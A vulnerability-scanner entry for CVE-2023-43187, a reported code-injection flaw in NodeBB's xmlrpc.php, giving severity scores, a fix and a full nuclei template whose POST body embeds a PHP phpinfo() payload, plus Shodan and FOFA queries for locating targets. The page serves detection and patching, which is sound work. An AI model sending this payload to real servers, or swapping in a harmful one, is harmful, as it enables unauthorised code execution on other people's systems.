NodeBB XML-RPC Request xmlrpc.php - XML Injection

criticalseverity

9.8CVSS score

47.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.

Impact

Unauthenticated attackers can inject arbitrary PHP code through crafted XML-RPC requests to the xmlrpc.php endpoint, potentially gaining full control over the NodeBB forum server and accessing user data.

Fix

Update NodeBB to version 1.18.6 or later that properly validates and sanitizes XML-RPC input to prevent code injection attacks.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(to_lower(body), "nodebb")
Send: POST {{BaseURL}}/xmlrpc.php
Positive when: contains "<title>phpinfo()</title>" or "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2023-43187 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-43187

info:
  name: NodeBB XML-RPC Request xmlrpc.php - XML Injection
  author: 0xParth
  severity: critical
  description: |
    A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.
  impact: |
    Unauthenticated attackers can inject arbitrary PHP code through crafted XML-RPC requests to the xmlrpc.php endpoint, potentially gaining full control over the NodeBB forum server and accessing user data.
  remediation: |
    Update NodeBB to version 1.18.6 or later that properly validates and sanitizes XML-RPC input to prevent code injection attacks.
  reference:
    - https://github.com/jagat-singh-chaudhary/CVE/blob/main/CVE-2023-43187
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43187
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43187
    cwe-id: CWE-91
    epss-score: 0.47391
    epss-percentile: 0.98851
    cpe: cpe:2.3:a:nodebb:nodebb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nodebb
    product: nodebb
    shodan-query: cpe:"cpe:2.3:a:nodebb:nodebb"
    fofa-query: "title=\"nodebb\""
  tags: cve,cve2023,nodebb,rce,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - contains(to_lower(body), "nodebb")

  - method: POST
    path:
      - "{{BaseURL}}/xmlrpc.php"

    headers:
      Content-Type: "text/xml"

    body: |
      <?xml version="1.0"?>
      <methodCall>
        <methodName>system.listMethods</methodName>
        <params>
          <param>
            <value><?php phpinfo(); ?></value>
          </param>
        </params>
      </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>phpinfo()</title>"
          - "PHP Version"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from